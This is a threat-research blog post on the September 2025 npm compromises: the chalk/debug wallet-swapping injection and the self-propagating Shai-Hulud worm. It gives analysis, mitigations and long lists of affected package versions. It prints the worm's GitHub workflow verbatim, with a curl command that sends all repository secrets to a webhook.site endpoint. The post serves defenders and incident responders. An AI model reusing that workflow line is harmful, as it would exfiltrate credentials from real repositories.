3.28.58, 3.28.59

@voiceflow/backend-utils

5.0.1, 5.0.2

@voiceflow/base-types

2.136.3, 2.136.2

@voiceflow/body-parser

1.21.2, 1.21.3

@voiceflow/chat-types

2.14.59, 2.14.58

@voiceflow/circleci-config-sdk-orb-import

0.2.2, 0.2.1

@voiceflow/commitlint-config

2.6.1, 2.6.2

@voiceflow/common

8.9.2, 8.9.1

@voiceflow/default-prompt-wrappers

1.7.3, 1.7.4

@voiceflow/dependency-cruiser-config

1.8.11, 1.8.12

@voiceflow/dtos-interact

1.40.2, 1.40.1

@voiceflow/encryption

0.3.3, 0.3.2

@voiceflow/eslint-config

7.16.5, 7.16.4

@voiceflow/eslint-plugin

1.6.2, 1.6.1

@voiceflow/exception

1.10.2, 1.10.1

@voiceflow/fetch

1.11.1, 1.11.2

@voiceflow/general-types

3.2.23, 3.2.22

@voiceflow/git-branch-check

1.4.3, 1.4.4

@voiceflow/google-dfes-types

2.17.13, 2.17.12

@voiceflow/google-types

2.21.13, 2.21.12

@voiceflow/husky-config

1.3.2, 1.3.1

@voiceflow/logger

2.4.3, 2.4.2

@voiceflow/metrics

1.5.2, 1.5.1

@voiceflow/natural-language-commander

0.5.3, 0.5.2

@voiceflow/nestjs-common

2.75.2, 2.75.3

@voiceflow/nestjs-mongodb

1.3.2, 1.3.1

@voiceflow/nestjs-rate-limit

1.3.2, 1.3.3

@voiceflow/nestjs-redis

1.3.2, 1.3.1

@voiceflow/nestjs-timeout

1.3.2, 1.3.1

@voiceflow/npm-package-json-lint-config

1.1.1, 1.1.2

@voiceflow/openai

3.2.2, 3.2.3

@voiceflow/pino

6.11.4, 6.11.3

@voiceflow/pino-pretty

4.4.2, 4.4.1

@voiceflow/prettier-config

1.10.2, 1.10.1

@voiceflow/react-chat

1.65.3, 1.65.4

@voiceflow/runtime

1.29.2, 1.29.1

@voiceflow/runtime-client-js

1.17.3, 1.17.2

@voiceflow/sdk-runtime

1.43.2, 1.43.1

@voiceflow/secrets-provider

1.9.3, 1.9.2

@voiceflow/semantic-release-config

1.4.2, 1.4.1

@voiceflow/serverless-plugin-typescript

2.1.7, 2.1.8

@voiceflow/slate-serializer

1.7.3, 1.7.4

@voiceflow/stitches-react

2.3.3, 2.3.2

@voiceflow/storybook-config

1.2.2, 1.2.3

@voiceflow/stylelint-config

1.1.1, 1.1.2

@voiceflow/test-common

2.1.2, 2.1.1

@voiceflow/tsconfig

1.12.2, 1.12.1

@voiceflow/tsconfig-paths

1.1.4, 1.1.5

@voiceflow/utils-designer

1.74.20, 1.74.19

@voiceflow/verror

1.1.4, 1.1.5

@voiceflow/vite-config

2.6.2, 2.6.3

@voiceflow/vitest-config

1.10.2, 1.10.3

@voiceflow/voice-types

2.10.59, 2.10.58

@voiceflow/voiceflow-types

3.32.45, 3.32.46

@voiceflow/widget

1.7.19, 1.7.18

@vucod/email

0.0.3

@zapier/ai-actions

0.1.20, 0.1.19, 0.1.18

@zapier/babel-preset-zapier

6.4.1, 6.4.3, 6.4.2

@zapier/browserslist-config-zapier

1.0.5, 1.0.3, 1.0.4

@zapier/secret-scrubber

1.1.4, 1.1.5, 1.1.3

ai-crowl-shield

1.0.7

arc-cli-fc

1.0.1

asciitranslator

1.0.3

asyncapi-preview

1.0.1, 1.0.2

atrix

1.0.1

automation_model

1.0.491

avvvatars-vue

1.1.2

axios-builder

1.2.1

axios-cancelable

1.0.1, 1.0.2

axios-timed

1.0.1, 1.0.2

babel-preset-kinvey-flex-service

0.1.1

barebones-css

1.1.4, 1.1.3

benmostyn-frame-print

1.0.1

best_gpio_controller

1.0.10

better-auth-nuxt

0.0.10

better-queue-nedb

0.1.5

bidirectional-adapter

1.2.2, 1.2.5, 1.2.4, 1.2.3

blinqio-executions-cli

1.0.41

blob-to-base64

1.0.3

buffered-interpolation-babylon6

0.2.8

bun-plugin-httpfile

0.1.1

bytecode-checker-cli

1.0.11, 1.0.9, 1.0.8, 1.0.10

bytes-to-x

1.0.1

calc-loan-interest

1.0.4

capacitor-plugin-apptrackingios

0.0.21

capacitor-plugin-purchase

0.1.1

capacitor-plugin-scgssigninwithgoogle

0.0.5

capacitor-purchase-history

0.0.10

capacitor-voice-recorder-wav

6.0.3

ceviz

0.0.5

chrome-extension-downloads

0.0.4, 0.0.3

claude-token-updater

1.0.3

coinmarketcap-api

3.1.2, 3.1.3

colors-regex

2.0.1

command-irail

0.5.4

compare-obj

1.1.1, 1.1.2

composite-reducer

1.0.5, 1.0.3, 1.0.2, 1.0.4

count-it-down

1.0.1, 1.0.2

cpu-instructions

0.0.14

create-director-app

0.1.1

create-glee-app

0.2.2, 0.2.3

create-hardhat3-app

1.1.1, 1.1.4, 1.1.2, 1.1.3

create-kinvey-flex-service

0.2.1

create-silgi

0.3.1

crypto-addr-codec

0.1.9

css-dedoupe

0.1.2

csv-tool-cli

1.2.1

dashboard-empty-state

1.0.3

designstudiouiux

1.0.1

devstart-cli

1.0.6

dialogflow-es

1.1.1, 1.1.4, 1.1.2, 1.1.3

discord-bot-server

0.1.2

docusaurus-plugin-vanilla-extract

1.0.3

dont-go

1.1.2

dotnet-template

0.0.4, 0.0.3

drop-events-on-property-plugin

0.0.2

easypanel-sdk

0.3.2

electron-volt

0.0.2

email-deliverability-tester

1.1.1

enforce-branch-name

1.1.3

esbuild-plugin-brotli

0.2.1

esbuild-plugin-eta

0.1.1

esbuild-plugin-httpfile

0.4.1

eslint-config-kinvey-flex-service

0.1.1

eslint-config-nitpicky

4.0.1

eslint-config-trigo

22.0.2

eslint-config-zeallat-base

1.0.4

ethereum-ens

0.8.1

evm-checkcode-cli

1.0.14, 1.0.12, 1.0.15, 1.0.13

exact-ticker

0.3.5

expo-audio-session

0.2.1

expo-router-on-rails

0.0.4

express-starter-template

1.0.10

expressos

1.1.3

fat-fingered

1.0.1, 1.0.2

feature-flip

1.0.1, 1.0.2

firestore-search-engine

1.2.3

fittxt

1.0.3, 1.0.2

flapstacks

1.0.1, 1.0.2

flatten-unflatten

1.0.1, 1.0.2

formik-error-focus

2.0.1

formik-store

1.0.1

frontity-starter-theme

1.0.1

fuzzy-finder

1.0.5, 1.0.6

gate-evm-check-code2

2.0.3, 2.0.5, 2.0.6, 2.0.4

gate-evm-tools-test

1.0.5, 1.0.6, 1.0.8, 1.0.7

gatsby-plugin-antd

2.2.1

gatsby-plugin-cname

1.0.1, 1.0.2

generator-meteor-stock

0.1.6

generator-ng-itobuz

0.0.15

get-them-args

1.3.3

github-action-for-generator

2.1.27, 2.1.28

gitsafe

1.0.5

go-template

0.1.9, 0.1.8

gulp-inject-envs

1.2.2, 1.2.1

haufe-axera-api-client

0.0.1, 0.0.2

hope-mapboxdraw

0.1.1

hopedraw

1.0.3

hover-design-prototype

0.0.5

httpness

1.0.3, 1.0.2

hyper-fullfacing

1.0.3

hyperterm-hipster

1.0.7

ids-css

1.5.1

ids-enterprise-mcp-server

0.0.2

ids-enterprise-ng

20.1.6

ids-enterprise-typings

20.1.6

image-to-uri

1.0.1, 1.0.2

insomnia-plugin-random-pick

1.0.4

invo

0.2.2

iron-shield-miniapp

0.0.2

ito-button

8.0.3

itobuz-angular

0.0.1

itobuz-angular-auth

8.0.11

itobuz-angular-button

8.0.11

jacob-zuma

1.0.1, 1.0.2

jaetut-varit-test

1.0.2

jan-browser

0.13.1

jquery-bindings

1.1.2, 1.1.3

jsonsurge

1.0.7

just-toasty

1.7.1

kill-port

2.0.3, 2.0.2

kinetix-default-token-list

1.0.5

kinvey-cli-wrapper

0.3.1

kinvey-flex-scripts

0.5.1

kns-error-code

1.0.8

korea-administrative-area-geo-json-util

1.0.7

kwami

1.5.9, 1.5.10

lang-codes

1.0.1, 1.0.2

license-o-matic

1.2.2, 1.2.1

lint-staged-imagemin

1.3.2, 1.3.1

lite-serper-mcp-server

0.2.2

lui-vue-test

0.70.9

luno-api

1.2.3

m25-transaction-utils

1.1.16

manual-billing-system-miniapp-api

1.3.1

medusa-plugin-announcement

0.0.3

medusa-plugin-logs

0.0.17

medusa-plugin-momo

0.0.68

medusa-plugin-product-reviews-kvy

0.0.4

medusa-plugin-zalopay

0.0.40

mod10-check-digit

1.0.1

mon-package-react-typescript

1.0.1

my-saeed-lib

0.1.1

n8n-nodes-tmdb

0.5.1

n8n-nodes-vercel-ai-sdk

0.1.7

n8n-nodes-viral-app

0.2.5

nanoreset

7.0.1, 7.0.2

next-circular-dependency

1.0.3, 1.0.2

next-simple-google-analytics

1.1.1, 1.1.2

next-styled-nprogress

1.0.5, 1.0.4

ngx-useful-swiper-prosenjit

9.0.2

ngx-wooapi

12.0.1

nitro-graphql

1.5.12

nitro-kutu

0.1.1

nitrodeploy

1.0.8

nitroping

0.1.1

normal-store

1.3.2, 1.3.1, 1.3.4, 1.3.3

nuxt-keycloak

0.2.2

obj-to-css

1.0.3, 1.0.2

okta-react-router-6

5.0.1

open2internet

0.1.1

orbit-boxicons

2.1.3

orbit-nebula-draw-tools

1.0.10

orbit-nebula-editor

1.0.2

orbit-soap

0.43.13

orchestrix

12.1.2

package-tester

1.0.1

parcel-plugin-asset-copier

1.1.2, 1.1.3

pdf-annotation

0.0.2

pergel

0.13.2

pergeltest

0.0.25

piclite

1.0.1

pico-uid

1.0.3, 1.0.4

pkg-readme

1.1.1

poper-react-sdk

0.1.2

posthog-docusaurus

2.0.6

posthog-js

1.297.3

posthog-node

5.11.3, 4.18.1, 5.13.3

posthog-plugin-hello-world

1.0.1

posthog-react-native

4.11.1, 4.12.5

posthog-react-native-session-replay

1.2.2

prime-one-table

0.0.19

prompt-eng

1.0.50

puny-req

1.0.3

quickswap-ads-list

1.0.33

quickswap-default-staking-list

1.0.11

quickswap-default-staking-list-address

1.0.55

quickswap-default-token-list

1.5.16

quickswap-router-sdk

1.0.1

quickswap-sdk

3.0.44

quickswap-smart-order-router

1.0.1

quickswap-token-lists

1.0.3

quickswap-v2-sdk

2.0.1

ra-auth-firebase

1.0.3

ra-data-firebase

1.0.8, 1.0.7

react-component-taggers

0.1.9

react-data-to-export

1.0.1

react-element-prompt-inspector

0.1.18

react-favic

1.0.2

react-hook-form-persist

3.0.1, 3.0.2

react-jam-icons

1.0.1, 1.0.2

react-keycloak-context

1.0.9, 1.0.8

react-library-setup

0.0.6

react-linear-loader

1.0.2

react-micromodal.js

1.0.1, 1.0.2

react-native-datepicker-modal

1.3.2, 1.3.1

react-native-email

2.1.2, 2.1.1

react-native-fetch

2.0.1, 2.0.2

react-native-get-pixel-dimensions

1.0.1, 1.0.2

react-native-google-maps-directions

2.1.2

react-native-jam-icons

1.0.1, 1.0.2

react-native-log-level

1.2.2, 1.2.1

react-native-modest-checkbox

3.3.1

react-native-modest-storage

2.1.1

react-native-phone-call

1.2.2, 1.2.1

react-native-retriable-fetch

2.0.1, 2.0.2

react-native-use-modal

1.0.3

react-native-view-finder

1.2.2, 1.2.1

react-native-websocket

1.0.3, 1.0.4

react-native-worklet-functions

3.3.3

react-packery-component

1.0.3

react-qr-image

1.1.1

react-scrambled-text

1.0.4

rediff

1.0.5

rediff-viewer

0.0.7

redux-router-kit

1.2.2, 1.2.4, 1.2.3

revenuecat

1.0.1

rollup-plugin-httpfile

0.2.1

sa-company-registration-number-regex

1.0.1, 1.0.2

sa-id-gen

1.0.5, 1.0.4

samesame

1.0.3

scgs-capacitor-subscribe

1.0.11

scgsffcreator

1.0.5

schob

1.0.3

set-nested-prop

2.0.1, 2.0.2

shelf-jwt-sessions

0.1.2

shell-exec

1.1.4, 1.1.3

shinhan-limit-scrap

1.0.3

silgi

0.43.30

simplejsonform

1.0.1

skills-use

0.1.1, 0.1.2

solomon-api-stories

1.0.2

solomon-v3-stories

1.15.6

solomon-v3-ui-wrapper

1.6.1

soneium-acs

1.0.1

sort-by-distance

2.0.1

south-african-id-info

1.0.2

stat-fns

1.0.1

stoor

2.3.2

sufetch

0.4.1

super-commit

1.0.1

svelte-autocomplete-select

1.1.1

svelte-toasty

1.1.2, 1.1.3

tanstack-shadcn-table

1.1.5

tavily-module

1.0.1

tcsp

2.0.2

tcsp-draw-test

1.0.5

tcsp-test-vd

2.4.4

template-lib

1.1.4, 1.1.3

template-micro-service

1.0.3, 1.0.2

tenacious-fetch

2.3.3, 2.3.2

test-foundry-app

1.0.3, 1.0.1, 1.0.2, 1.0.4

test-hardhat-app

1.0.3, 1.0.1, 1.0.2, 1.0.4

test23112222-api

1.0.1

tiaan

1.0.2

tiptap-shadcn-vue

0.2.1

token.js-fork

0.7.32

toonfetch

0.3.2

trigo-react-app

4.1.2

ts-relay-cursor-paging

2.1.1

typeface-antonio-complete

1.0.5

typefence

1.2.2, 1.2.3

typeorm-orbit

0.2.27

unadapter

0.1.3

undefsafe-typed

1.0.3, 1.0.4

unemail

0.3.1

uniswap-router-sdk

1.6.2

uniswap-smart-order-router

3.16.26

uniswap-test-sdk-core

4.0.8

unsearch

0.0.3

uplandui

0.5.4

upload-to-play-store

1.0.1, 1.0.2

url-encode-decode

1.0.1, 1.0.2

use-unsaved-changes

1.0.9

v-plausible

1.2.1

valid-south-african-id

1.0.3

valuedex-sdk

3.0.5

vf-oss-template

1.0.3, 1.0.1, 1.0.2, 1.0.4

victoria-wallet-constants

0.1.1, 0.1.2

victoria-wallet-core

0.1.1

victoria-wallet-type

0.1.1, 0.1.2

victoria-wallet-utils

0.1.1

victoria-wallet-validator

0.1.1

victoriaxoaquyet-wallet-core

0.2.2, 0.2.1

vite-plugin-httpfile

0.2.1

vue-browserupdate-nuxt

1.0.5

wallet-evm

0.3.1

wallet-type

0.1.1, 0.1.2

web-scraper-mcp

1.1.4

web-types-htmx

0.1.1

web-types-lit

0.1.1

webpack-loader-httpfile

0.2.1

wellness-expert-ng-gallery

5.1.1

wenk

1.0.9, 1.0.10

zapier-async-storage

1.0.3, 1.0.1, 1.0.2

zapier-platform-cli

18.0.3, 18.0.2, 18.0.4

zapier-platform-core

18.0.3, 18.0.2, 18.0.4

zapier-platform-schema

18.0.3, 18.0.2, 18.0.4

zapier-scripts

7.8.4, 7.8.3

zuper-cli

1.0.1

zuper-sdk

1.0.57

zuper-stream

2.0.9

References

  • ✇Pulsedive Blog
  • NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack Pulsedive Threat Research
    In September 2025, multiple NPM packages were compromised. Some of the compromised packages were highly popular, with millions of downloads per week. Two different sets of compromises were observed:The first compromise occurred around September 8th, 2025, when the packages were embedded with the ability to replace cryptocurrency wallets with adversary-controlled ones. The second compromise utilized the Shai-Hulud worm, which was employed to exfiltrate sensitive information from GitHub repositori
     

NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack

25 de Setembro de 2025, 12:28
NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack

In September 2025, multiple NPM packages were compromised. Some of the compromised packages were highly popular, with millions of downloads per week. Two different sets of compromises were observed:

  • The first compromise occurred around September 8th, 2025, when the packages were embedded with the ability to replace cryptocurrency wallets with adversary-controlled ones. 
  • The second compromise utilized the Shai-Hulud worm, which was employed to exfiltrate sensitive information from GitHub repositories. 
    • Initial reports about the Shai-Hulud worm emerged on September 15, 2025. GitGuardian observed activity related to this compromise from September 15 at 03:46 to September 16 at 13:42.

GitHub's Response: In response to the Shai-Hulud attack, GitHub removed over 500+ compromised packages from the npm registry. Additionally, npm blocked new packages that contained known indicators of compromise from being uploaded to the registry.

This blog will walk through both compromises and provide insights into the functionality of the malicious packages, as well as response recommendations. 

First Compromise: September 8th Campaign

The campaign was first reported on September 8th, 2025, and the list of compromised packages included chalk and debug. Both are very popular npm packages, each of which is downloaded over 250 million times a week. The packages were modified to include malicious code that was subsequently executed.

I have no access to my account at the moment. It's in npm's hands for now. Sindre has already booted me off and published over chalk. debug and color/color-string/color-convert are still affected, along with many others I'm sure. Email came from support [at] npmjs [dot] help.

— Josh Junon (@bad-at-computer.bsky.social) 2025-09-08T15:27:43.639Z

Figure 1: Bluesky posts about maintainer about compromised npm packages. Source: Bluesky

NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 2: Phishing email from npmjs[.]help email used for initial access. Source: Aikido

This attack began by compromising a maintainer’s account with a phishing email and using the account to modify the packages. The threat actor registered the domain npmjs[.]help on Porkbun on September 5th, 2025. 

NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 3: Obfuscated code was added to the index.js file within version 0.3.3 of the is-arrayish npm package. Source: Aikido

A GitHub Gist contains the index.js file for the compromised version of the chalk npm package. The same code shown on line 12 of Figure 3 above is also present in the Gist.

NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 4: Malicious code added to chalk’s index.js file. Source: GitHub Gist

The obfuscated code can be deobfuscated using tools such as deobfuscate.io. The first round of deobfuscation reveals code containing a list of cryptocurrency wallets, including Bitcoin, Bitcoin Cash, Litecoin, TRON, and Solana. While still heavily obfuscated, analysts can still review the code and understand its functionality.

NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 5: Result of a single iteration of deobfuscation on code shown in Figure 4. Source: GitHub Gist

Various cryptocurrency wallets are hardcoded within the file, and there are references to different types of cryptocurrency. 

NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 6: Cryptocurrency wallets hardcoded within the malicious file. Source: GitHub Gist
NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 7: Code with string references to different cryptocurrencies. Source: GitHub Gist

The malicious code also contains RegEx to match different types of cryptocurrency wallets. The malware intercepts connections to cryptocurrency platforms and replaces the wallet in the request with one of the hardcoded wallets. This allows them to replace payment destinations for adversary-controlled ones, achieved by either injecting itself into functions such as fetch, XMLHttpRequest, or through wallet APIs.

NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 8: Calls to a wallet API is used to get a list of accounts owned by the user. Source: GitHub Gist
NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 9: RegEx used to identify cryptocurrency wallets. Source: GitHub Gist

Second Compromise: Shai-Hulud Attack

The Shai-Hulud compromise differed from the previous attack in that it didn’t target cryptocurrency transactions, but was instead used to exfiltrate secrets from GitHub repositories. Significantly more npm packages were compromised in this subsequent attack. GitGuardian observed activity related to this compromise from September 15 at 03:46 to September 16 at 13:42. The malware utilized the TruffleHog tool to locate and collect credentials and secrets. Any data that was collected was exfiltrated via GitHub actions to the webhook[.]site domain.

As part of the attack, GitHub workflows were used to convert private repositories to public ones. The repositories that were turned into public ones had the description “Shai-Hulud Migration”, and the term -migration" was added to the name. 

The malware also attempts to exfiltrate the following credentials:

  • GitHub personal access tokens
  • AWS access keys (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
  • Google Cloud Platform service credentials
  • Azure credentials
  • Cloud metadata endpoints
  • NPM authentication tokens
NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 10: Example of a public GitHub repo compromised by Shai-Hulud

The malicious JavaScript file is available for analysis through Malware Bazaar.

MalwareBazaar | Checking your browser
VirusTotal
VirusTotal
NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 11: Formatted code for readability

The malware has self-propagation functionality through the updatePackage function. This queries the NPM registry to download the packages owned by the maintainer. Once these are downloaded, the bundle.js file containing the malware is written to the package. Once this file has been written, the package is republished. 

NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 12: Function used to get packages owned by a maintainer.
NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 13: Once packages owned by a maintainer are downloaded, the malware writes the malicious file to them to propagate the worm.

Apart from updating other packages owned by the compromised maintainer, the malware downloads TruffleHog to collect secrets stored within the repo. The first step in running TruffleHog is to check the operating system architecture and type. From there, the latest version of TruggleHog is downloaded and installed. 

NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 14: Code used to download the latest version of TruffleHog from GitHub.
NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 15: Attempts to retrieve information from AWS.

Apart from collecting secrets and staging them for exfiltration, it creates a repo with the description “Shai-Hulud” as shown in Figure 16 below. 

NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 16: Data that is collected for exfiltration and the call to the makeRepo function with the string "Shai-Hulud" being passed to it.

The data is exfiltrated using a GitHub workflow. The content of the workflow is hardcoded in the malicious file.

NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 17: Code used to setup the GitHub workflow used for exfiltration.
on:
  push:
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
    - name: Data Processing
      run: curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
      env:
        CONTENTS: ${{ toJSON(secrets) }}
NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
Figure 18: The GitHub workflow as shown within a compromised GitHub repo.

Mitigation Recommendations

Responding to a supply chain compromise is always a challenging task, as pinpointing where packages are used or their versions may not always be easily verifiable. Nevertheless, a dependency review should be conducted for software that leverages npm. The yarn.lock or package-lock.json files may provide details about the packages in use. 

When responding to npm supply chain compromises, once compromised packages have been identified and removed, it is recommended to clear the npm cache before reinstalling the package. In addition to reinstalling packages, consider resetting secrets and user credentials that may have been exposed.  

GitHub’s Response

As of September 22, 2025, GitHub outlined a plan for securing the npm supply chain in response to these attacks. Included within this plan are the following actions:

  • MFA required for local publishing
    • Time-based OTPs will be deprecated
    • Users will be moved to FIDO-based MFA
    • Users will no longer be able to bypass MFA for local publishing
  • Granular Token lifetime is limited to seven days
    • Legacy tokens will be deprecated
  • Trusted Publishing
    • Reduces the need for long-term tokens or credentials to be shared with external sources when authenticating to package repositories
    • Allows a package repository to authenticate an identity from an Identity Provider using OpenID Connect (OIDC)
      • Requires a pre-configured trust policy

Compromise Packages

1st Compromise

Package Name

Version

backlash

0.2.1

chalk-template

1.1.1

supports-hyperlinks

4.1.1

has-ansi

6.0.1

simple-swizzle

0.2.3

color-string

2.1.1

error-ex

1.3.3

color-name

2.0.1

is-arrayish

0.3.3

slice-ansi

7.1.1

color-convert

3.1.1

wrap-ansi

9.0.1

ansi-regex

6.2.1

supports-color

10.2.1

strip-ansi

7.1.1

chalk

5.6.1

debug

4.4.2

ansi-styles

6.2.2

Shai-Hulud Compromise

Package Name

Version(s)

@ahmedhfarag/ngx-perfect-scrollbar

20.0.20

@ahmedhfarag/ngx-virtual-scroller

4.0.4

@art-ws/common

2.0.22, 2.0.28

@art-ws/config-eslint

2.0.4, 2.0.5

@art-ws/config-ts

2.0.7, 2.0.8

@art-ws/db-context

2.0.24

@art-ws/di

2.0.28, 2.0.32

@art-ws/di-node

2.0.13

@art-ws/eslint

1.0.5, 1.0.6

@art-ws/fastify-http-server

2.0.24, 2.0.27

@art-ws/http-server

2.0.21, 2.0.25

@art-ws/openapi

0.1.9, 0.1.12

@art-ws/package-base

1.0.5, 1.0.6

@art-ws/prettier

1.0.5, 1.0.6

@art-ws/slf

2.0.15, 2.0.22

@art-ws/ssl-info

1.0.9, 1.0.10

@art-ws/web-app

1.0.3, 1.0.4

@crowdstrike/commitlint

8.1.1, 8.1.2

@crowdstrike/falcon-shoelace

0.4.1, 0.4.2

@crowdstrike/foundry-js

0.19.1, 0.19.2

@crowdstrike/glide-core

0.34.2, 0.34.3

@crowdstrike/logscale-dashboard

1.205.1, 1.205.2

@crowdstrike/logscale-file-editor

1.205.1, 1.205.2

@crowdstrike/logscale-parser-edit

1.205.1, 1.205.2

@crowdstrike/logscale-search

1.205.1, 1.205.2

@crowdstrike/tailwind-toucan-base

5.0.1, 5.0.2

@ctrl/deluge

7.2.1, 7.2.2

@ctrl/golang-template

1.4.2, 1.4.3

@ctrl/magnet-link

4.0.3, 4.0.4

@ctrl/ngx-codemirror

7.0.1, 7.0.2

@ctrl/ngx-csv

6.0.1, 6.0.2

@ctrl/ngx-emoji-mart

9.2.1, 9.2.2

@ctrl/ngx-rightclick

4.0.1, 4.0.2

@ctrl/qbittorrent

9.7.1, 9.7.2

@ctrl/react-adsense

2.0.1, 2.0.2

@ctrl/shared-torrent

6.3.1, 6.3.2

@ctrl/tinycolor

4.1.1, 4.1.2

@ctrl/torrent-file

4.1.1, 4.1.2

@ctrl/transmission

7.3.1

@ctrl/ts-base32

4.0.1, 4.0.2

@hestjs/core

0.2.1

@hestjs/cqrs

0.1.6

@hestjs/demo

0.1.2

@hestjs/eslint-config

0.1.2

@hestjs/logger

0.1.6

@hestjs/scalar

0.1.7

@hestjs/validation

0.1.6

@nativescript-community/arraybuffers

1.1.6, 1.1.7, 1.1.8

@nativescript-community/gesturehandler

2.0.35

@nativescript-community/perms

3.0.5, 3.0.6, 3.0.7, 3.0.8

@nativescript-community/sentry

4.6.43

@nativescript-community/sqlite

3.5.2, 3.5.3, 3.5.4, 3.5.5

@nativescript-community/text

1.6.9, 1.6.10, 1.6.11, 1.6.12, 1.6.13

@nativescript-community/typeorm

0.2.30, 0.2.31, 0.2.32, 0.2.33

@nativescript-community/ui-collectionview

6.0.6

@nativescript-community/ui-document-picker

1.1.27, 1.1.28

@nativescript-community/ui-drawer

0.1.30

@nativescript-community/ui-image

4.5.6

@nativescript-community/ui-label

1.3.35, 1.3.36, 1.3.37

@nativescript-community/ui-material-bottom-navigation

7.2.72, 7.2.73, 7.2.74, 7.2.75

@nativescript-community/ui-material-bottomsheet

7.2.72

@nativescript-community/ui-material-core

7.2.72, 7.2.73, 7.2.74, 7.2.75, 7.2.76

@nativescript-community/ui-material-core-tabs

7.2.72, 7.2.73, 7.2.74, 7.2.75, 7.2.76

@nativescript-community/ui-material-ripple

7.2.72, 7.2.73, 7.2.74, 7.2.75

@nativescript-community/ui-material-tabs

7.2.72, 7.2.73, 7.2.74, 7.2.75

@nativescript-community/ui-pager

14.1.36, 14.1.37, 14.1.38

@nativescript-community/ui-pulltorefresh

2.5.4, 2.5.5, 2.5.6, 2.5.7

@nexe/config-manager

0.1.1

@nexe/eslint-config

0.1.1

@nexe/logger

0.1.3

@nstudio/angular

20.0.4, 20.0.5, 20.0.6

@nstudio/focus

20.0.4, 20.0.5, 20.0.6

@nstudio/nativescript-checkbox

2.0.6, 2.0.7, 2.0.8, 2.0.9

@nstudio/nativescript-loading-indicator

5.0.1, 5.0.2, 5.0.3, 5.0.4

@nstudio/ui-collectionview

5.1.11, 5.1.12, 5.1.13, 5.1.14

@nstudio/web

20.0.4

@nstudio/web-angular

20.0.4

@nstudio/xplat

20.0.5, 20.0.6, 20.0.7

@nstudio/xplat-utils

20.0.5, 20.0.6, 20.0.7

@operato/board

9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50, 9.0.51

@operato/data-grist

9.0.29, 9.0.35, 9.0.36, 9.0.37

@operato/graphql

9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46

@operato/headroom

9.0.2, 9.0.35, 9.0.36, 9.0.37

@operato/help

9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46

@operato/i18n

9.0.35, 9.0.36, 9.0.37

@operato/input

9.0.27, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48

@operato/layout

9.0.35, 9.0.36, 9.0.37

@operato/popup

9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.49

@operato/pull-to-refresh

9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42

@operato/shell

9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39

@operato/styles

9.0.2, 9.0.35, 9.0.36, 9.0.37

@operato/utils

9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.49

@teselagen/bio-parsers

0.4.30

@teselagen/bounce-loader

0.3.16, 0.3.17

@teselagen/file-utils

0.3.22

@teselagen/liquibase-tools

0.4.1

@teselagen/ove

0.7.40

@teselagen/range-utils

0.3.14, 0.3.15

@teselagen/react-list

0.8.19, 0.8.20

@teselagen/react-table

6.10.19, 6.10.20, 6.10.22

@teselagen/sequence-utils

0.3.34

@teselagen/ui

0.9.10

@thangved/callback-window

1.1.4

@things-factory/attachment-base

9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50

@things-factory/auth-base

9.0.43, 9.0.44, 9.0.45

@things-factory/email-base

9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50, 9.0.51, 9.0.52, 9.0.53, 9.0.54

@things-factory/env

9.0.42, 9.0.43, 9.0.44, 9.0.45

@things-factory/integration-base

9.0.43, 9.0.44, 9.0.45

@things-factory/integration-marketplace

9.0.43, 9.0.44, 9.0.45

@things-factory/shell

9.0.43, 9.0.44, 9.0.45

@tnf-dev/api

1.0.8

@tnf-dev/core

1.0.8

@tnf-dev/js

1.0.8

@tnf-dev/mui

1.0.8

@tnf-dev/react

1.0.8

@ui-ux-gang/devextreme-angular-rpk

24.1.7

@yoobic/design-system

6.5.17

@yoobic/jpeg-camera-es6

1.0.13

@yoobic/yobi

8.7.53

airchief

